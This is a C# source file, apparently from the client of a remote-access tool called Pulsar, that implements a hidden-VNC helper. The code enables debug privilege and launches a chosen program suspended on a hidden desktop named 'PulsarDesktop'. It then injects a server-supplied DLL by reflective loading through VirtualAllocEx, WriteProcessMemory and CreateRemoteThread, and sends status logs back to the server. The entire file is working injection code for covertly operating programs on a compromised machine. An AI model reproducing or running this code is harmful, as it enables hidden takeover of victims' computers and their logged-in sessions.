using Pulsar.Client.LoggingAPI;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;

namespace Pulsar.Client.Helper.HVNC
{
    internal class KDOTInjector
    {
        /// <summary>
        /// Starts the reflective DLL injection process
        /// </summary>
        /// <param name="dllBytes">The DLL bytes to inject (received from server)</param>
        /// <param name="exePath">Path to the executable to start and inject into</param>
        /// <param name="searchPattern">Pattern to search for in the target process</param>
        /// <param name="replacementPath">Replacement path for the search pattern</param>
        /// <returns>Process ID of the started process, or 0 if failed</returns>
        public static int Start(byte[] dllBytes, string exePath, string searchPattern, string replacementPath)
        {
            try
            {
                if (dllBytes == null || dllBytes.Length == 0)
                {
                    UniversalDebugLogger.SendLogToServer("[-] Invalid DLL bytes provided");
                    return 0;
                }

                if (string.IsNullOrWhiteSpace(exePath))
                {
                    UniversalDebugLogger.SendLogToServer("[-] No target executable specified");
                    return 0;
                }

                if (string.IsNullOrWhiteSpace(searchPattern) || string.IsNullOrWhiteSpace(replacementPath))
                {
                    UniversalDebugLogger.SendLogToServer("[-] Search pattern and replacement path are required");
                    return 0;
                }

                UniversalDebugLogger.SendLogToServer($"[*] Starting reflective DLL injection");
                UniversalDebugLogger.SendLogToServer($"    Target: {exePath}");
                UniversalDebugLogger.SendLogToServer($"    Search Pattern: {searchPattern}");
                UniversalDebugLogger.SendLogToServer($"    Replacement Path: {replacementPath}");
                UniversalDebugLogger.SendLogToServer($"    DLL Size: {dllBytes.Length} bytes");

                PrivilegeManager.EnableDebugPrivilege();

                var (process, hProcess, hThread) = ProcessManager.StartProcessSuspended(exePath, searchPattern, replacementPath);
                if (process == null || hProcess == IntPtr.Zero || hThread == IntPtr.Zero)
                {
                    UniversalDebugLogger.SendLogToServer("[-] Failed to create suspended process");
                    return 0;
                }

                int processId = process.Id;
                UniversalDebugLogger.SendLogToServer($"[+] Started process '{Path.GetFileName(exePath)}' (suspended) with PID {processId}");

                try
                {
                    bool success = Injector.InjectDllWithHandle(hProcess, dllBytes);
                    if (success)
                    {
                        UniversalDebugLogger.SendLogToServer($"[+] Successfully injected '{Path.GetFileName(exePath)}' into process {processId}");
                        UniversalDebugLogger.SendLogToServer($"[+] Search pattern: {searchPattern}");
                        UniversalDebugLogger.SendLogToServer($"[+] Replacement path: {replacementPath}");
                    }
                    else
                    {
                        UniversalDebugLogger.SendLogToServer("[-] Injection failed");
                        Injector.CloseHandle(hProcess);
                        Injector.CloseHandle(hThread);
                        if (!process.HasExited)
                        {
                            process.Kill();
                        }
                        return 0;
                    }
                }
                finally
                {
                    Injector.CloseHandle(hProcess);
                }

                UniversalDebugLogger.SendLogToServer("[+] Resuming main thread...");
                ProcessManager.ResumeThreadExP(hThread);
                Injector.CloseHandle(hThread);

                UniversalDebugLogger.SendLogToServer("[+] Process running. DLL hooks will propagate to child processes.");
                return processId;
            }
            catch (Exception ex)
            {
                UniversalDebugLogger.SendLogToServer($"[-] Exception in KDOTInjector.Start: {ex.Message}");
                return 0;
            }
        }
    }

    /// <summary>
    /// Manages process creation and interaction
    /// </summary>
    internal static class ProcessManager
    {
        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
        private static extern bool CreateProcess(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern uint ResumeThread(IntPtr hThread);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool CloseHandle(IntPtr hObject);

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        private struct STARTUPINFO
        {
            public int cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public int dwX;
            public int dwY;
            public int dwXSize;
            public int dwYSize;
            public int dwXCountChars;
            public int dwYCountChars;
            public int dwFillAttribute;
            public int dwFlags;
            public short wShowWindow;
            public short cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        [StructLayout(LayoutKind.Sequential)]
        private struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }

        private const uint CREATE_SUSPENDED = 0x00000004;
        private const uint CREATE_UNICODE_ENVIRONMENT = 0x00000400;
        private const int STARTF_USEPOSITION = 0x00000004;

        public static Process StartProcessNormal(string exePath)
        {
            if (!File.Exists(exePath))
            {
                Debug.WriteLine($"[-] Executable not found: {exePath}");
                return null;
            }

            try
            {
                ProcessStartInfo psi = new ProcessStartInfo
                {
                    FileName = exePath,
                    UseShellExecute = false,
                    WorkingDirectory = Path.GetDirectoryName(exePath)
                };

                Process process = Process.Start(psi);
                return process;
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"[-] Failed to start process: {ex.Message}");
                return null;
            }
        }

        private static IntPtr CreateEnvironmentBlock(string searchPath, string replacePath)
        {
            var envVars = Environment.GetEnvironmentVariables();

            var envDict = new Dictionary<string, string>();
            foreach (System.Collections.DictionaryEntry entry in envVars)
            {
                envDict[entry.Key.ToString()] = entry.Value.ToString();
            }

            envDict["RDI_SEARCH_PATH"] = searchPath;
            envDict["RDI_REPLACE_PATH"] = replacePath;

            var envList = new List<string>();
            foreach (var kvp in envDict.OrderBy(x => x.Key, StringComparer.OrdinalIgnoreCase))
            {
                envList.Add($"{kvp.Key}={kvp.Value}");
            }

            string envBlock = string.Join("\0", envList) + "\0\0";

            byte[] envBytes = Encoding.Unicode.GetBytes(envBlock);

            IntPtr envPtr = Marshal.AllocHGlobal(envBytes.Length);
            Marshal.Copy(envBytes, 0, envPtr, envBytes.Length);

            return envPtr;
        }

        public static (Process process, IntPtr hProcess, IntPtr hThread) StartProcessSuspended(string exePath, string searchPath, string replacePath)
        {
            if (!File.Exists(exePath))
            {
                Debug.WriteLine($"[-] Executable not found: {exePath}");
                return (null, IntPtr.Zero, IntPtr.Zero);
            }

            IntPtr envBlock = IntPtr.Zero;

            try
            {
                STARTUPINFO si = new STARTUPINFO();
                si.cb = Marshal.SizeOf(si);
                si.lpDesktop = "PulsarDesktop";

                si.dwX = 0;
                si.dwY = 0;
                si.dwFlags = STARTF_USEPOSITION;
                PROCESS_INFORMATION pi;

                string commandLine = $"\"{exePath}\" --window-position=0,0";

                envBlock = CreateEnvironmentBlock(searchPath, replacePath);

                Debug.WriteLine($"[*] Setting environment variables:");
                Debug.WriteLine($"  RDI_SEARCH_PATH={searchPath}");
                Debug.WriteLine($"  RDI_REPLACE_PATH={replacePath}");

                bool success = CreateProcess(
                    null,
                    commandLine,
                    IntPtr.Zero,
                    IntPtr.Zero,
                    false,
                    CREATE_SUSPENDED | CREATE_UNICODE_ENVIRONMENT,
                    envBlock,
                    Path.GetDirectoryName(exePath),
                    ref si,
                    out pi);

                if (!success)
                {
                    int error = Marshal.GetLastWin32Error();
                    Debug.WriteLine($"[-] Failed to create process. Error: {error}");
                    return (null, IntPtr.Zero, IntPtr.Zero);
                }

                Process process = Process.GetProcessById((int)pi.dwProcessId);

                return (process, pi.hProcess, pi.hThread);
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"[-] Failed to start process: {ex.Message}");
                return (null, IntPtr.Zero, IntPtr.Zero);
            }
            finally
            {
                if (envBlock != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(envBlock);
                }
            }
        }

        public static void ResumeThreadExP(IntPtr hThread)
        {
            if (hThread != IntPtr.Zero)
            {
                uint suspendCount = ResumeThread(hThread);
                if (suspendCount == unchecked((uint)-1))
                {
                    Debug.WriteLine($"[-] Failed to resume thread. Error: {Marshal.GetLastWin32Error()}");
                }
            }
        }
    }

    /// <summary>
    /// Manages Windows privileges (SeDebugPrivilege)
    /// </summary>
    internal static class PrivilegeManager
    {
        [DllImport("advapi32.dll", SetLastError = true)]
        private static extern bool OpenProcessToken(
            IntPtr ProcessHandle,
            uint DesiredAccess,
            out IntPtr TokenHandle);

        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
        private static extern bool LookupPrivilegeValue(
            string lpSystemName,
            string lpName,
            out LUID lpLuid);

        [DllImport("advapi32.dll", SetLastError = true)]
        private static extern bool AdjustTokenPrivileges(
            IntPtr TokenHandle,
            bool DisableAllPrivileges,
            ref TOKEN_PRIVILEGES NewState,
            uint BufferLength,
            IntPtr PreviousState,
            IntPtr ReturnLength);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool CloseHandle(IntPtr hObject);

        private const uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
        private const uint TOKEN_QUERY = 0x0008;
        private const uint SE_PRIVILEGE_ENABLED = 0x00000002;
        private const string SE_DEBUG_NAME = "SeDebugPrivilege";

        [StructLayout(LayoutKind.Sequential)]
        private struct LUID
        {
            public uint LowPart;
            public int HighPart;
        }

        [StructLayout(LayoutKind.Sequential)]
        private struct LUID_AND_ATTRIBUTES
        {
            public LUID Luid;
            public uint Attributes;
        }

        [StructLayout(LayoutKind.Sequential)]
        private struct TOKEN_PRIVILEGES
        {
            public uint PrivilegeCount;
            public LUID_AND_ATTRIBUTES Privileges;
        }

        public static void EnableDebugPrivilege()
        {
            try
            {
                IntPtr hToken;
                if (OpenProcessToken(Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out hToken))
                {
                    TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES
                    {
                        PrivilegeCount = 1,
                        Privileges = new LUID_AND_ATTRIBUTES
                        {
                            Attributes = SE_PRIVILEGE_ENABLED
                        }
                    };

                    if (LookupPrivilegeValue(null, SE_DEBUG_NAME, out tp.Privileges.Luid))
                    {
                        AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
                    }

                    CloseHandle(hToken);
                }
            }
            catch
            {
                // windows basically just gave us the middle finger
            }
        }
    }

    /// <summary>
    /// Handles DLL injection using reflective loading
    /// </summary>
    internal static class Injector
    {
        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern IntPtr OpenProcess(
            ProcessAccessFlags processAccess,
            bool bInheritHandle,
            int processId);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern IntPtr VirtualAllocEx(
            IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            AllocationType flAllocationType,
            MemoryProtection flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool WriteProcessMemory(
            IntPtr hProcess,
            IntPtr lpBaseAddress,
            byte[] lpBuffer,
            uint nSize,
            out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        private static extern IntPtr CreateRemoteThread(
            IntPtr hProcess,
            IntPtr lpThreadAttributes,
            uint dwStackSize,
            IntPtr lpStartAddress,
            IntPtr lpParameter,
            uint dwCreationFlags,
            out IntPtr lpThreadId);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool CloseHandle(IntPtr hObject);

        private const uint INFINITE = 0xFFFFFFFF;

        [Flags]
        private enum ProcessAccessFlags : uint
        {
            PROCESS_CREATE_THREAD = 0x0002,
            PROCESS_QUERY_INFORMATION = 0x0400,
            PROCESS_VM_OPERATION = 0x0008,
            PROCESS_VM_WRITE = 0x0020,
            PROCESS_VM_READ = 0x0010,
            All = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
        }

        [Flags]
        private enum AllocationType : uint
        {
            MEM_COMMIT = 0x1000,
            MEM_RESERVE = 0x2000
        }

        [Flags]
        private enum MemoryProtection : uint
        {
            PAGE_EXECUTE_READWRITE = 0x40,
            PAGE_READWRITE = 0x04
        }

        public static bool InjectDll(int processId, byte[] dllBuffer)
        {
            IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, processId);
            if (hProcess == IntPtr.Zero)
            {
                Debug.WriteLine($"[-] Failed to open target process. Error={Marshal.GetLastWin32Error()}");
                return false;
            }

            try
            {
                IntPtr hThread = LoadRemoteLibraryR(hProcess, dllBuffer);
                if (hThread == IntPtr.Zero)
                {
                    Debug.WriteLine($"[-] Failed to inject DLL. Error={Marshal.GetLastWin32Error()}");
                    return false;
                }

                WaitForSingleObject(hThread, INFINITE);
                CloseHandle(hThread);
                return true;
            }
            finally
            {
                CloseHandle(hProcess);
            }
        }

        public static bool InjectDllWithHandle(IntPtr hProcess, byte[] dllBuffer)
        {
            if (hProcess == IntPtr.Zero || dllBuffer == null || dllBuffer.Length == 0)
            {
                Debug.WriteLine("[-] Invalid parameters for injection");
                return false;
            }

            IntPtr hThread = LoadRemoteLibraryR(hProcess, dllBuffer);
            if (hThread == IntPtr.Zero)
            {
                Debug.WriteLine($"[-] Failed to inject DLL. Error={Marshal.GetLastWin32Error()}");
                return false;
            }

            WaitForSingleObject(hThread, INFINITE);
            CloseHandle(hThread);
            return true;
        }

        private static IntPtr LoadRemoteLibraryR(IntPtr hProcess, byte[] buffer)
        {
            try
            {
                if (hProcess == IntPtr.Zero || buffer == null || buffer.Length == 0)
                    return IntPtr.Zero;

                uint reflectiveLoaderOffset = PEParser.GetReflectiveLoaderOffset(buffer);
                if (reflectiveLoaderOffset == 0)
                {
                    Debug.WriteLine("[-] Failed to find ReflectiveLoader in DLL");
                    return IntPtr.Zero;
                }

                IntPtr lpRemoteLibraryBuffer = VirtualAllocEx(
                    hProcess,
                    IntPtr.Zero,
                    (uint)buffer.Length,
                    AllocationType.MEM_RESERVE | AllocationType.MEM_COMMIT,
                    MemoryProtection.PAGE_EXECUTE_READWRITE);

                if (lpRemoteLibraryBuffer == IntPtr.Zero)
                {
                    Debug.WriteLine("[-] Failed to allocate memory in remote process");
                    return IntPtr.Zero;
                }

                IntPtr bytesWritten;
                if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, buffer, (uint)buffer.Length, out bytesWritten))
                {
                    Debug.WriteLine("[-] Failed to write DLL to remote process");
                    return IntPtr.Zero;
                }

                IntPtr lpReflectiveLoader = IntPtr.Add(lpRemoteLibraryBuffer, (int)reflectiveLoaderOffset);

                IntPtr threadId;
                IntPtr hThread = CreateRemoteThread(
                    hProcess,
                    IntPtr.Zero,
                    1024 * 1024,
                    lpReflectiveLoader,
                    IntPtr.Zero,
                    0,
                    out threadId);

                return hThread;
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"[-] Exception in LoadRemoteLibraryR: {ex.Message}");
                return IntPtr.Zero;
            }
        }
    }

    /// <summary>
    /// Parses PE (Portable Executable) file format
    /// </summary>
    internal static class PEParser
    {
        #region PE Structures

        [StructLayout(LayoutKind.Sequential)]
        private struct IMAGE_DOS_HEADER
        {
            public ushort e_magic;
            public ushort e_cblp;
            public ushort e_cp;
            public ushort e_crlc;
            public ushort e_cparhdr;
            public ushort e_minalloc;
            public ushort e_maxalloc;
            public ushort e_ss;
            public ushort e_sp;
            public ushort e_csum;
            public ushort e_ip;
            public ushort e_cs;
            public ushort e_lfarlc;
            public ushort e_ovno;

            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
            public ushort[] e_res;

            public ushort e_oemid;
            public ushort e_oeminfo;

            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
            public ushort[] e_res2;

            public int e_lfanew;
        }

        [StructLayout(LayoutKind.Sequential)]
        private struct IMAGE_FILE_HEADER
        {
            public ushort Machine;
            public ushort NumberOfSections;
            public uint TimeDateStamp;
            public uint PointerToSymbolTable;
            public uint NumberOfSymbols;
            public ushort SizeOfOptionalHeader;
            public ushort Characteristics;
        }

        [StructLayout(LayoutKind.Sequential)]
        private struct IMAGE_DATA_DIRECTORY
        {
            public uint VirtualAddress;
            public uint Size;
        }

        [StructLayout(LayoutKind.Sequential)]
        private struct IMAGE_OPTIONAL_HEADER32
        {
            public ushort Magic;
            public byte MajorLinkerVersion;
            public byte MinorLinkerVersion;
            public uint SizeOfCode;
            public uint SizeOfInitializedData;
            public uint SizeOfUninitializedData;
            public uint AddressOfEntryPoint;
            public uint BaseOfCode;
            public uint BaseOfData;
            public uint ImageBase;
            public uint SectionAlignment;
            public uint FileAlignment;
            public ushort MajorOperatingSystemVersion;
            public ushort MinorOperatingSystemVersion;
            public ushort MajorImageVersion;
            public ushort MinorImageVersion;
            public ushort MajorSubsystemVersion;
            public ushort MinorSubsystemVersion;
            public uint Win32VersionValue;
            public uint SizeOfImage;
            public uint SizeOfHeaders;
            public uint CheckSum;
            public ushort Subsystem;
            public ushort DllCharacteristics;
            public uint SizeOfStackReserve;
            public uint SizeOfStackCommit;
            public uint SizeOfHeapReserve;
            public uint SizeOfHeapCommit;
            public uint LoaderFlags;
            public uint NumberOfRvaAndSizes;

            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
            public IMAGE_DATA_DIRECTORY[] DataDirectory;
        }

        [StructLayout(LayoutKind.Sequential)]
        private struct IMAGE_OPTIONAL_HEADER64
        {
            public ushort Magic;
            public byte MajorLinkerVersion;
            public byte MinorLinkerVersion;
            public uint SizeOfCode;
            public uint SizeOfInitializedData;
            public uint SizeOfUninitializedData;
            public uint AddressOfEntryPoint;
            public uint BaseOfCode;
            public ulong ImageBase;
            public uint SectionAlignment;
            public uint FileAlignment;
            public ushort MajorOperatingSystemVersion;
            public ushort MinorOperatingSystemVersion;
            public ushort MajorImageVersion;
            public ushort MinorImageVersion;
            public ushort MajorSubsystemVersion;
            public ushort MinorSubsystemVersion;
            public uint Win32VersionValue;
            public uint SizeOfImage;
            public uint SizeOfHeaders;
            public uint CheckSum;
            public ushort Subsystem;
            public ushort DllCharacteristics;
            public ulong SizeOfStackReserve;
            public ulong SizeOfStackCommit;
            public ulong SizeOfHeapReserve;
            public ulong SizeOfHeapCommit;
            public uint LoaderFlags;
            public uint NumberOfRvaAndSizes;

            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
            public IMAGE_DATA_DIRECTORY[] DataDirectory;
        }

        [StructLayout(LayoutKind.Sequential)]
        private struct IMAGE_SECTION_HEADER
        {
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
            public byte[] Name;

            public uint VirtualSize;
            public uint VirtualAddress;
            public uint SizeOfRawData;
            public uint PointerToRawData;
            public uint PointerToRelocations;
            public uint PointerToLinenumbers;
            public ushort NumberOfRelocations;
            public ushort NumberOfLinenumbers;
            public uint Characteristics;
        }

        [StructLayout(LayoutKind.Sequential)]
        private struct IMAGE_EXPORT_DIRECTORY
        {
            public uint Characteristics;
            public uint TimeDateStamp;
            public ushort MajorVersion;
            public ushort MinorVersion;
            public uint Name;
            public uint Base;
            public uint NumberOfFunctions;
            public uint NumberOfNames;
            public uint AddressOfFunctions;
            public uint AddressOfNames;
            public uint AddressOfNameOrdinals;
        }

        private const int IMAGE_DIRECTORY_ENTRY_EXPORT = 0;
        private const ushort IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b;
        private const ushort IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b;

        #endregion PE Structures

        public static uint GetReflectiveLoaderOffset(byte[] buffer)
        {
            try
            {
                int baseAddress = 0;

                IMAGE_DOS_HEADER dosHeader = ByteArrayToStructure<IMAGE_DOS_HEADER>(buffer, 0);

                int ntHeadersOffset = baseAddress + dosHeader.e_lfanew;

                uint signature = BitConverter.ToUInt32(buffer, ntHeadersOffset);
                if (signature != 0x00004550) // "PE\0\0"
                    return 0;

                IMAGE_FILE_HEADER fileHeader = ByteArrayToStructure<IMAGE_FILE_HEADER>(buffer, ntHeadersOffset + 4);

                int optionalHeaderOffset = ntHeadersOffset + 4 + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER));
                ushort magic = BitConverter.ToUInt16(buffer, optionalHeaderOffset);

                uint exportDirRva;

                if (magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // PE32
                {
                    if (IntPtr.Size != 4)
                        return 0;

                    IMAGE_OPTIONAL_HEADER32 optHeader = ByteArrayToStructure<IMAGE_OPTIONAL_HEADER32>(buffer, optionalHeaderOffset);
                    exportDirRva = optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
                }
                else if (magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // PE64
                {
                    if (IntPtr.Size != 8)
                        return 0;

                    IMAGE_OPTIONAL_HEADER64 optHeader = ByteArrayToStructure<IMAGE_OPTIONAL_HEADER64>(buffer, optionalHeaderOffset);
                    exportDirRva = optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
                }
                else
                {
                    return 0;
                }

                if (exportDirRva == 0)
                    return 0;

                uint exportDirOffset = Rva2Offset(exportDirRva, buffer, baseAddress);
                if (exportDirOffset == 0)
                    return 0;

                IMAGE_EXPORT_DIRECTORY exportDir = ByteArrayToStructure<IMAGE_EXPORT_DIRECTORY>(buffer, (int)exportDirOffset);

                uint nameArrayOffset = Rva2Offset(exportDir.AddressOfNames, buffer, baseAddress);
                uint addressArrayOffset = Rva2Offset(exportDir.AddressOfFunctions, buffer, baseAddress);
                uint nameOrdinalsOffset = Rva2Offset(exportDir.AddressOfNameOrdinals, buffer, baseAddress);

                for (uint i = 0; i < exportDir.NumberOfNames; i++)
                {
                    uint nameRva = BitConverter.ToUInt32(buffer, (int)(nameArrayOffset + i * 4));
                    uint nameOffset = Rva2Offset(nameRva, buffer, baseAddress);

                    string functionName = ReadNullTerminatedString(buffer, (int)nameOffset);

                    if (functionName.Contains("ReflectiveLoader"))
                    {
                        ushort ordinal = BitConverter.ToUInt16(buffer, (int)(nameOrdinalsOffset + i * 2));
                        uint functionRva = BitConverter.ToUInt32(buffer, (int)(addressArrayOffset + ordinal * 4));
                        return Rva2Offset(functionRva, buffer, baseAddress);
                    }
                }
            }
            catch
            {
                return 0;
            }

            return 0;
        }

        private static uint Rva2Offset(uint dwRva, byte[] buffer, int baseAddress)
        {
            IMAGE_DOS_HEADER dosHeader = ByteArrayToStructure<IMAGE_DOS_HEADER>(buffer, 0);
            int ntHeadersOffset = baseAddress + dosHeader.e_lfanew;

            IMAGE_FILE_HEADER fileHeader = ByteArrayToStructure<IMAGE_FILE_HEADER>(buffer, ntHeadersOffset + 4);
            int sectionHeaderOffset = ntHeadersOffset + 4 + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + fileHeader.SizeOfOptionalHeader;

            IMAGE_SECTION_HEADER firstSection = ByteArrayToStructure<IMAGE_SECTION_HEADER>(buffer, sectionHeaderOffset);

            if (dwRva < firstSection.PointerToRawData)
                return dwRva;

            for (int i = 0; i < fileHeader.NumberOfSections; i++)
            {
                IMAGE_SECTION_HEADER section = ByteArrayToStructure<IMAGE_SECTION_HEADER>(buffer, sectionHeaderOffset + i * Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)));

                if (dwRva >= section.VirtualAddress && dwRva < section.VirtualAddress + section.SizeOfRawData)
                {
                    return dwRva - section.VirtualAddress + section.PointerToRawData;
                }
            }

            return 0;
        }

        private static T ByteArrayToStructure<T>(byte[] bytes, int offset) where T : struct
        {
            int size = Marshal.SizeOf(typeof(T));
            IntPtr ptr = Marshal.AllocHGlobal(size);
            try
            {
                Marshal.Copy(bytes, offset, ptr, size);
                return (T)Marshal.PtrToStructure(ptr, typeof(T));
            }
            finally
            {
                Marshal.FreeHGlobal(ptr);
            }
        }

        private static string ReadNullTerminatedString(byte[] buffer, int offset)
        {
            int length = 0;
            while (offset + length < buffer.Length && buffer[offset + length] != 0)
            {
                length++;
            }
            return Encoding.ASCII.GetString(buffer, offset, length);
        }
    }
}